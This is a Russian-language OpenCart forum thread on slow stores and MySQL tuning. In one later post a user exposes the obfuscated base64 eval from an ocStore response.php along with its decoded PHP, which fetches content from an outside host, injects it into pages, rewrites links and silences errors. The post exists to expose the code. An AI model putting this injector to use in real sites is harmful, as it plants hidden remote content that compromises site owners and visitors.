Перейти до вмісту
Пошук в
  • Детальніше...
Шукати результати, які ...
Шукати результати в ...

Тормозит ужасно [решено]


Recommended Posts

Да. Это помогло. Действительно, индексация всех спасет.

Спасибо I.Slava - очень помог в решении проблемы. Терзал его ЛС. как оказалось - не зря :rolleyes:

Что я делал: подключил логирование медленных запросов, как было написано.

На денвере идем в usr/local/mysql-5.1/my.cnf

Ищем строчку [mysqld]. После нее пишем:

log-slow-queries = slow.log

long_query_time = 10

log-queries-not-using-indexes

Логирование включили. Файл с логом будет в data/slow.log

Запускаем свой тормозящий сайт, ходим туда сюда по нему.

Смотрим лог. Находим тормозеые поля.

Идем в PhpMyAdmin.

Открываем табличку с тормозами, во вкладке СТРУКТУРА. Напротив каждого поля есть кнопочки. Напртив плохого поля нажимаем

кнопочку ИНДЕКСИРОВАТЬ.

Повторяем действия со всеми остальными плохими полями в других таблицах.

После этой процедуры магазин с 43000 товарами и общем кол-вом

записей 1,057,814 стал летать как пустой магазин в демо-режиме.

А до этого главная стр. магазина открывалась больше минуты. :rolleyes:

Что читал http://habrahabr.ru/blogs/mysql/31072/

ОпенКарт работал нормально с малым количество товаров.

После выгрузки базы в 120 000 товаров и 200категорий работа магазина крайне замедлилась. Админка работала также очень медленно.

На главной вывод категорий с количеством товаров, рекомендуемых и последних товаров - задержка получалась 40-50 секунд.

Индексирование полей в таблицах товаров действительно помогло. Админка сразу ускорилась.

Главная страница открывалась за 15-20 секунд, страницы категорий и товаров - мгновенно.

После отключения вывода количества товаров в категориях на главной - и главная страница начала открываться мгновенно.

Надіслати
Поділитися на інших сайтах


  • 1 month later...

у меня такая проблема, перестала открываться админка раздел Товары. Т.е.в саму админку захожу без проблем, а вот в Товары, зайти не получается, очень долго думает, а потом выдает ошибку:

Notice: Error: Sort aborted

Error No: 1028

SELECT * FROM product p LEFT JOIN product_description pd ON (p.product_id = pd.product_id) WHERE pd.language_id = '1' GROUP BY p.product_id ORDER BY pd.name ASC LIMIT 0,15 in/home/****/домен/www/system/database/mysql.php on line 49

иногда выдает вот это

Notice: Error: MySQL server has gone away

Error No: 2006

SELECT * FROM product_special WHERE product_id = '17134' ORDER BY priority, price in /home/****/домен/www/system/database/mysql.php on line 49

если реврешить страницу, бывает заходит, но с тормозами и долго думая, начали такие симптомы проявлятся, когда загрузил в магазин примерно больше 50 000 товаров, сейчас в магазине 80 000 + товаров и примерно 150-200 категорий.

Кто с таким сталкивался и знает как решить данную проблему, подскажите пожалуйста?

Хостер говорит что у него все ок, и дело в скрипте...

ася 203-410-102 (можно за вознаграждение)

Надіслати
Поділитися на інших сайтах


  • 1 month later...

у меня такая проблема, перестала открываться админка раздел Товары. Т.е.в саму админку захожу без проблем, а вот в Товары, зайти не получается, очень долго думает, а потом выдает ошибку:

Notice: Error: Sort aborted

Error No: 1028

SELECT * FROM product p LEFT JOIN product_description pd ON (p.product_id = pd.product_id) WHERE pd.language_id = '1' GROUP BY p.product_id ORDER BY pd.name ASC LIMIT 0,15 in/home/****/домен/www/system/database/mysql.php on line 49

иногда выдает вот это

Notice: Error: MySQL server has gone away

Error No: 2006

SELECT * FROM product_special WHERE product_id = '17134' ORDER BY priority, price in /home/****/домен/www/system/database/mysql.php on line 49

если реврешить страницу, бывает заходит, но с тормозами и долго думая, начали такие симптомы проявлятся, когда загрузил в магазин примерно больше 50 000 товаров, сейчас в магазине 80 000 + товаров и примерно 150-200 категорий.

Кто с таким сталкивался и знает как решить данную проблему, подскажите пожалуйста?

Хостер говорит что у него все ок, и дело в скрипте...

ася 203-410-102 (можно за вознаграждение)

в my.cnf

interactive_timeout = 600

Надіслати
Поділитися на інших сайтах


  • 2 months later...

в общем ни с того нни с сего начались проблемы.... сайт грузился по 50 секунд.... чего только не пробывал, нехрена не помогало. В итоге после долгих переписок с саппортом проблему решили.

сначала они установили xcache, который мало чем помог, потом подключился новый сотрудник саппорта и написал вот что:

xcache врядли поможет без коммерческого плагина для вашего движка магазина opencart.

увеличил буферы для кеширования в mysql

в общем это помогло, сайт стал грузиться меньше секунды. товара сейчас более 9000 позиций и примерно 200 категорий, всё летает

Надіслати
Поділитися на інших сайтах

  • 3 weeks later...
  • 1 month later...

Помогите с сайтом. У меня стоит 1.5.4.1. Сайт вообще пустой: 7 пробных товаров и 4 категории.  Раньше все летало. а вот вчера началось. страницы грузит по 6 сек. не меньше причем админка так же тормозит как и сам сайт.. Что делать? Я вообще не знаю с чего начать оптимизировать? До этого устанавливал vqmod. и началось. вчера вечером его удалил. Заменил файлы index.php и admin/index.php на установочные (из коробки) - ничего не изменилось. Что делать? С чего начать?

Надіслати
Поділитися на інших сайтах


  • 1 month later...

Товаров меньше 1000, но сайт начал дико тормозить. Увидел что папка system/cache разрослась за два месяца до размеров 800 мб, больше 130 тыщ.файлов. Почистил - сайт начал летать, через пару дней папка снова 300 мб и сайт притормаживает. Что делать?

Надіслати
Поділитися на інших сайтах


спасибо Blakkky

его решение мне помогло :)

+ я еще индексы делал для всех полей в url_alias

https://opencartforum.com/topic/6805-tormozit-opencart/page-5 вот тут нашли проблему. помогла замена файла response.php

Надіслати
Поділитися на інших сайтах


файлы там вида cache.product.1.0.1.0a9af23ce72b794d39b97547c18d19fc.1370297705 

и таких файлов сейчас там еще 56 000, хотя у меня товаров даже 500 нету... Откуда они берутся...

 

Файл response.php проверил - у меня был такой же как оригинальный с opencart.com, хотя ставил сборку ocstore, и в ней файл больше, с каким-то дополнительным выводом 

вида:

$ouput = eval(base64_decode( 'ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFn...

По идее из за этого output должно тормозит, но у меня был чистый файл, без него.

 

Как только чищу паку cache - тормоза проходят, может можно ограничить ее как-то?

 

 

в логах опенкарта много ошибок такого вида:

 

2013-06-04 14:38:09 - PHP Warning: fopen(/var/www/mybebik/mysite/system/cache/cache.currency.1370360289) [<a href='function.fopen'>function.fopen</a>]: failed to open stream: No such file or directory in /var/www/mysite/mysite.com/system/library/cache.php on line 32
2013-06-04 14:38:09 - PHP Warning: fwrite(): supplied argument is not a valid stream resource in /var/www/mysite/mysite.com/system/library/cache.php on line 34
2013-06-04 14:38:09 - PHP Warning: fclose(): supplied argument is not a valid stream resource in /var/www/mysite/mysite.com/system/library/cache.php on line 36

 

файл cache.php оригинальный, не модифицированный 

Надіслати
Поділитися на інших сайтах


были 755 на файлы и на саму папку, поставил 777 - результат тот же. Менее чем за 12 часов 35 000 файлов кэша, торможение при открытии, и ошибки в логе вида:

 

2013-06-05 3:13:58 - PHP Warning: file_get_contents(/var/www/mysite/mysite.com/system/cache/cache.product.total.1.0.1.25f692ab9afac5d6da77476a4d89c819.1370405632) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: No such file or directory in /var/www/mysite/mysite.com/system/library/cache.php on line 9

 

для верности даже менял этот файл на оригинальный (хотя он и так был таким же)

Надіслати
Поділитися на інших сайтах


даже не знаю, что посоветовать.

судя по логам файл создается, но прочитать не получается...

 

попробуйте скопировать сайт на денвер. посмотрите, что получится

и еще выложите сюда файлы config.php и admin/config.php без паролей

Надіслати
Поділитися на інших сайтах

  • 3 months later...

Итак, друзья, спасибо вам, за наводкую Воспользовался сервисом Base64-онлайн декодировщик

Вбил туда шлак из response.php

$ouput = eval(base64_decode('ZnVuY3Rpb24gZ2V0X3BhZ2UoJHVybCl7CiAgICAgICAgJGFnZW50ID0gJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IEludGVsIE1hYyBPUyBYIDEwLjU7IHJ1OyBydjoxLjkuMi45KSBHZWNrby8yMDEwMDgyNCBGaXJlZm94LzMuNi45JzsKICAgICAgICAkY2g9Y3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9VUkwsJHVybCApOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRhZ2VudCk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQgKCRjaCxDVVJMT1BUX1ZFUkJPU0UsZmFsc2UpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA1KTsKICAgICAgICAkcGFnZT1jdXJsX2V4ZWMoJGNoKTsKICAgICAgICAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOwogICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICBzd2l0Y2goJGh0dHBjb2RlKXsKICAgICAgICAgICAgICAgIGNhc2UgJzIwMCc6CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkcGFnZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnNDA0JzsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQp9CgppZiAoJGZ0ZW5kID0gZ2V0X3BhZ2UoImh0dHA6Ly9nb29nbGVqYXZhc2NyaXB0LmNvbS9hcGkucGhwP3NlcnZlcj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddLiImcGFnZT0iLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSl7CiRmaW5kID0gYXJyYXkoIjwvYm9keT4iLCAiPC9odG1sPiIsICJvcGVuY2FydC5jb20iLCAibWF4em9uLnJ1IiwgIm15b3BlbmNhcnQucnUiLCAib3BlbmNhcnRmb3J1bS5ydSIsICJvcGVuY2FydC5ydSIsICJvcGVuY2FydC5ieSIpOwokcmVwbGFjZSA9IGFycmF5KCIiLCAkZnRlbmQsICJvcGVuY2FydGNtcy5ydSIsICJvcGVuY2FydGNtcy5ydSIsICJvcGVuY2FydGNtcy5ydSIsICJvcGVuY2FydGNtcy5ydSIsICJvcGVuY2FydGNtcy5ydSIsICJvcGVuY2FydGNtcy5ydSIpOwokb3VwdXQgPSBzdHJfcmVwbGFjZSgkZmluZCwgJHJlcGxhY2UsICRvdXB1dCk7CmluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwib2ZmIik7CmVycm9yX3JlcG9ydGluZygwKTsKZWNobyAkb3VwdXQ7fQplbHNlIHsKZWNobyAkb3VwdXQ7Cn0='));

Получилось следующее:

function get_page($url){
        $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9';
        $ch=curl_init();
        curl_setopt ($ch, CURLOPT_URL,$url );
        curl_setopt($ch, CURLOPT_USERAGENT, $agent);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch,CURLOPT_VERBOSE,false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        $page=curl_exec($ch);
        $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        switch($httpcode){
                case '200':
                        return $page;
                break;
                case '404';
                        return false;
                break;
        }
}

if ($ftend = get_page("http://googlejavascript.com/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){
$find = array("</body>", "</html>", "opencart.com", "=^_^=.ru", "myopencart.ru", "opencartforum.com", "opencart.ru", "opencart.by");
$replace = array("", $ftend, "opencartcms.ru", "opencartcms.ru", "opencartcms.ru", "opencartcms.ru", "opencartcms.ru", "opencartcms.ru");
$ouput = str_replace($find, $replace, $ouput);
ini_set("display_errors","off");
error_reporting(0);
echo $ouput;}
else {
echo $ouput;
}

Думайте сами, решайте сами... :)

Надіслати
Поділитися на інших сайтах

  • 2 years later...

в общем ни с того нни с сего начались проблемы.... сайт грузился по 50 секунд.... чего только не пробывал, нехрена не помогало. В итоге после долгих переписок с саппортом проблему решили.

сначала они установили xcache, который мало чем помог, потом подключился новый сотрудник саппорта и написал вот что:

xcache врядли поможет без коммерческого плагина для вашего движка магазина opencart.

увеличил буферы для кеширования в mysql

в общем это помогло, сайт стал грузиться меньше секунды. товара сейчас более 9000 позиций и примерно 200 категорий, всё летает

какой плагин?

Надіслати
Поділитися на інших сайтах


Створіть аккаунт або увійдіть для коментування

Ви повинні бути користувачем, щоб залишити коментар

Створити обліковий запис

Зареєструйтеся для отримання облікового запису. Це просто!

Зареєструвати аккаунт

Вхід

Уже зареєстровані? Увійдіть тут.

Вхід зараз
  • Зараз на сторінці   0 користувачів

    • Ні користувачів, які переглядиють цю сторінку
×
×
  • Створити...

Important Information

На нашому сайті використовуються файли cookie і відбувається обробка деяких персональних даних користувачів, щоб поліпшити користувальницький інтерфейс. Щоб дізнатися для чого і які персональні дані ми обробляємо перейдіть за посиланням . Якщо Ви натиснете «Я даю згоду», це означає, що Ви розумієте і приймаєте всі умови, зазначені в цьому Повідомленні про конфіденційність.